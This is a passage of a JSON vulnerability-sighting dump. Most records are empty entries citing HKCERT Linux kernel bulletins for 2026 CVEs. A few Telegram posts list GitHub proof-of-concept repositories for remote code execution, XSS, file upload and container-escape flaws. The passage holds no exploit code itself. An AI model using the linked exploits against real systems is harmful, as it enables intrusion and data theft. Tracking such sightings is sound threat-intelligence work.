"type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:50:29.793724Z"}, {"uuid": "643e7efd-dfa3-4788-a86c-9d933c43590b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31669", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:50:32.021540Z"}, {"uuid": "afe6ddb3-54cb-483d-82f9-3bf579f410f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31682", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:50:34.209907Z"}, {"uuid": "14e94378-a407-4b20-8f6c-86e7079e7a74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31685", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:50:36.379336Z"}, {"uuid": "f51a7d0f-9319-4758-a83e-37a62e72154c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31686", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:50:38.552878Z"}, {"uuid": "6d0a05d1-2981-4152-b32d-da47e1d150a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31687", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:50:40.704690Z"}, {"uuid": "89643c4b-f19f-4e0e-b7c7-45b243c9b2b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31693", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:50:42.854966Z"}, {"uuid": "eb71f5ca-6d29-4af4-9109-b8c8ce171643", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31694", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:50:45.219840Z"}, {"uuid": "c280f4ae-8b06-4b39-9e98-f4f10629fc90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31696", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:50:47.384878Z"}, {"uuid": "7ce5bd09-6df6-4d72-9cf9-451de5a353e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31698", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:50:51.725868Z"}, {"uuid": "58088d56-5b97-4327-a88e-ab638d430309", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31699", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:50:53.893711Z"}, {"uuid": "be2cd25c-1fc2-4527-b2cb-9ff81b1f35e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31700", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:50:56.061051Z"}, {"uuid": "654e1cf9-643e-4b97-a09d-f73b92ad619d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31701", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:50:58.239884Z"}, {"uuid": "8160f703-1c10-4959-80e4-767114294a9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31702", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:51:01.035859Z"}, {"uuid": "77bb08c1-f7ac-4185-9020-04b2fe92fcf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31703", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:51:03.202528Z"}, {"uuid": "ba98371c-6d8a-4d90-8a10-357d995fa203", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31704", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:51:05.521433Z"}, {"uuid": "e504cea4-9b1e-4f39-8e06-8eb034b8e35e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31705", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:51:07.692354Z"}, {"uuid": "8753eeb0-594a-4c62-8bfe-7da74664b8cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31706", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:51:09.850784Z"}, {"uuid": "25259223-aa7e-4e04-a0d2-620a10c01e6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31707", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:51:12.076062Z"}, {"uuid": "978b7bcd-955b-460d-a25b-016443e03d74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31709", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:51:16.417686Z"}, {"uuid": "38f2da4d-c354-4d67-ac1e-88e43791e332", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31708", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:51:14.244231Z"}, {"uuid": "9ebcc010-ec25-4ebd-86ef-028a8d4ca6ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31710", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:51:18.604750Z"}, {"uuid": "826f103e-fd59-4452-b7ae-652656d34f62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31711", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:51:21.082595Z"}, {"uuid": "cf14c7bb-2f4d-456b-8a93-d1056a4faf69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31712", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:51:23.314474Z"}, {"uuid": "2ce204fd-3f2c-4cce-a162-6514a5871e4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31714", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:51:27.680176Z"}, {"uuid": "4bf46b16-3d75-4872-b195-f30364efb704", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31713", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:51:25.501387Z"}, {"uuid": "e057fc8a-1c7a-4ebb-b516-284e3a7878ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31715", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:51:29.931754Z"}, {"uuid": "54f693f8-6f15-4d38-bfce-6c7767af159a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31716", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:51:32.150657Z"}, {"uuid": "693bfd61-df4a-485f-8e9d-d2aa7076ee80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31717", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:51:34.341887Z"}, {"uuid": "093f2423-fa1d-426f-a1f6-1a67e739520a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31718", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:51:36.583253Z"}, {"uuid": "1c89b2fe-f672-4f64-9277-4e16cae9611d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31719", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T05:51:39.049454Z"}, {"uuid": "40b176de-68ac-4503-aee2-4e57c84d7bbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31816", "type": "published-proof-of-concept", "source": "Telegram/EPvN12ymnuhJhwPgdwv0Ht1qDW2f0Tzkaj5AAMM7MGXdl_E", "content": "", "creation_timestamp": "2026-08-18T00:00:08.252950Z"}, {"uuid": "1a6a8bc7-750c-43c4-8881-dba8f4b98a0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31694", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3mpnf66myis2w", "content": "Unprivileged root via an out-of-bounds write in the FUSE readdir cache (CVE-2026-31694) cyberstan.co.uk/fuse-readdir...", "creation_timestamp": "2026-07-02T06:18:55.749618Z"}, {"uuid": "dace0093-055b-42ad-a9a4-6a3398816d8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31367", "type": "published-proof-of-concept", "source": "Telegram/2zSHnWnjNO3Na1wVQn9SXZ4BXbp1iBqREE5RdHe5T4MRT7s", "content": "", "creation_timestamp": "2026-08-18T00:00:12.329379Z"}, {"uuid": "b401e73d-b49f-4005-860a-efb11fcb6d89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/cyfar.ca/post/3mu7xdoaial24", "content": "~Kaspersky~\nAI-driven flaw discovery surged as attackers rapidly exploited new Windows and Linux vulnerabilities.\n-\nIOCs: CVE-2026-31431, CVE-2026-43284, CVE-2026-25253\n-\n#CVE2026 #Cybersecurity #ThreatIntel", "creation_timestamp": "2026-08-29T13:12:47.754183Z"}, {"uuid": "5cf940ae-0e34-4e45-8020-2e04effb9cc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31854", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/30461", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, carefully filtered to avoid duplicates and previously shared entries.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-35102\n\ud83c\udfaf TYPO3 CMS \u2013 Remote Code Execution\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/secf00tprint/CVE-2026-35102\n\n\ud83e\udde0 Overview\nA vulnerability in TYPO3 CMS allows attackers to execute arbitrary code due to improper input validation in backend modules.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 CMS compromise\n\u2022 Privileged access escalation\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-34419\n\ud83c\udfaf Atlassian Confluence \u2013 OGNL Injection\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/s4tyam/CVE-2026-34419\n\n\ud83e\udde0 Overview\nAn OGNL injection vulnerability allows attackers to execute arbitrary expressions, potentially leading to remote code execution.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Enterprise system compromise\n\u2022 Sensitive data exposure\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-33788\n\ud83c\udfaf WordPress Plugin \u2013 Arbitrary File Upload\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/0x3f97/CVE-2026-33788\n\n\ud83e\udde0 Overview\nA vulnerable WordPress plugin allows attackers to upload malicious files without proper validation.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary file upload\n\u2022 Remote code execution\n\u2022 Full website compromise\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-32677\n\ud83c\udfaf Docker Environment \u2013 Privilege Escalation\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/exploitdev/CVE-2026-32677\n\n\ud83e\udde0 Overview\nA misconfiguration or vulnerability in Docker environments allows attackers to escalate privileges and escape container isolation.\n\n\u2699\ufe0f Impact\n\u2022 Container escape\n\u2022 Privilege escalation\n\u2022 Host compromise\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-31854\n\ud83c\udfaf PHP Application \u2013 Remote File Inclusion (RFI)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/hax0rz/CVE-2026-31854\n\n\ud83e\udde0 Overview\nA remote file inclusion vulnerability allows attackers to load external malicious scripts into the application.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Server compromise\n\u2022 Data exfiltration\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Exploit development\n\u2022 Patch diff analysis\n\u2022 Web / system vulnerability research\n\u2022 Red team / blue team exercises\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use this information for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T11:00:03.223955Z"}, {"uuid": "6eb0f23a-03a9-4acb-9f0b-bebc6859fb72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/booHA3tL14eXFtPtfiXiCHavE-8G8_gB25w-Bebdz6QxE2k", "content": "", "creation_timestamp": "2026-08-11T00:00:07.332513Z"}, {"uuid": "b8bdd637-db5a-4e40-b3a2-957d77cdc2ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/redhat-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T06:56:53.891197Z"}, {"uuid": "4d754e04-14b7-4af9-9847-9c02ddc0ef15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31669", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/redhat-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T06:56:56.056024Z"}, {"uuid": "bdbafb19-94d4-4881-8c8d-140054960e7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31452", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T07:15:39.565310Z"}, {"uuid": "dc4d6734-6057-47eb-af57-3f446eaed45f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31414", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T07:15:35.233328Z"}, {"uuid": "d617d4e8-2cc8-4863-990b-18c502fd5c99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31429", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T07:15:37.405353Z"}, {"uuid": "4c905991-2754-450f-b551-ae883f6b2ed3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31592", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T07:15:59.626614Z"}, {"uuid": "23ca2db3-595d-4e19-be54-1cf589e54d5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31453", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T07:15:41.728970Z"}, {"uuid": "32a5210c-3845-445a-b074-dce7fecc51ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31469", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T07:15:43.916690Z"}, {"uuid": "76ed2777-8d56-4c31-8b6c-99726407fa0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31492", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T07:15:46.115686Z"}, {"uuid": "52fc3037-cf1f-4f2f-bf1c-f58ba4ba8312", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31495", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T07:15:48.288967Z"}, {"uuid": "b76a7358-0a35-4259-9ed1-6a32d7b52985", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31500", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T07:15:52.801864Z"}, {"uuid": "82494d79-a75e-4eef-9974-b654e3e71f6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31560", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T07:15:57.131511Z"}, {"uuid": "46781a02-3c02-4306-9961-d8a5d8b1267b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31664", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T07:16:03.974236Z"}, {"uuid": "ff721097-c297-4a97-bcb1-b5824c728994", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31900", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/30555", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, based on the latest observed activity.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-31900\n\ud83c\udfaf GitHub Action (Black) \u2013 Arbitrary Code Execution\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/Batosay1337Lab/CVE-2026-31900\n\n\ud83e\udde0 Overview\nA vulnerability in GitHub Actions using the Black formatter allows attackers to inject malicious repository references via pyproject.toml, leading to arbitrary code execution in CI environments.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary code execution in CI/CD\n\u2022 Secret leakage risk\n\u2022 Supply chain attack vector\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-29598\n\ud83c\udfaf Acora CMS \u2013 Stored XSS\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/padayali-JD/CVE-2026-29598\n\n\ud83e\udde0 Overview\nMultiple stored XSS vulnerabilities allow attackers to inject malicious scripts via user input fields such as first and last name.\n\n\u2699\ufe0f Impact\n\u2022 Stored XSS\n\u2022 Session hijacking\n\u2022 Persistent client-side attacks\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-22200\n\ud83c\udfaf osTicket \u2013 Arbitrary File Read via PDF Export\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/Remnant-DB/CVE-2026-22200\n\n\ud83e\udde0 Overview\nA vulnerability in osTicket allows attackers to embed crafted HTML into tickets, which leads to arbitrary file read when exporting to PDF.\n\n\u2699\ufe0f Impact\n\u2022 Sensitive file disclosure\n\u2022 Server-side data leakage\n\u2022 Unauthorized file access\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-21710\n\ud83c\udfaf Node.js HTTP Server \u2013 Potential Exploitation Path\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/dajneem23/CVE-2026-21710\n\n\ud83e\udde0 Overview\nA vulnerability affecting Node.js HTTP servers may allow exploitation depending on server configuration and request handling logic.\n\n\u2699\ufe0f Impact\n\u2022 Server-side exploitation\n\u2022 Application instability\n\u2022 Attack surface expansion\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-5252\n\ud83c\udfaf Admin Panel \u2013 Cross-Site Scripting (XSS)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/aydin5245/CVE-2026-5252-CVE-POC-ivanti\n\n\ud83e\udde0 Overview\nA reflected XSS vulnerability allows attackers to execute arbitrary JavaScript through crafted requests targeting message endpoints.\n\n\u2699\ufe0f Impact\n\u2022 Cross-site scripting\n\u2022 Session hijacking\n\u2022 Client-side exploitation\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Real-world PoC validation\n\u2022 CI/CD attack surface analysis\n\u2022 Web vulnerability exploitation patterns\n\u2022 Threat intelligence tracking\n\n\u26a0\ufe0f Important Note\nRecent GitHub trends show increasing risks:\n\u2022 Fake CVE advisories and malicious PoC distribution campaigns targeting developers\n\ud83d\udc49 Always verify PoC code before execution.\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use this information for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T11:00:03.934466Z"}, {"uuid": "d1efd9e0-8c9c-4fb9-a3f0-fc7c65a7b0da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31499", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T07:15:50.641905Z"}, {"uuid": "b04635b8-290f-4ca0-96eb-64102ee67115", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 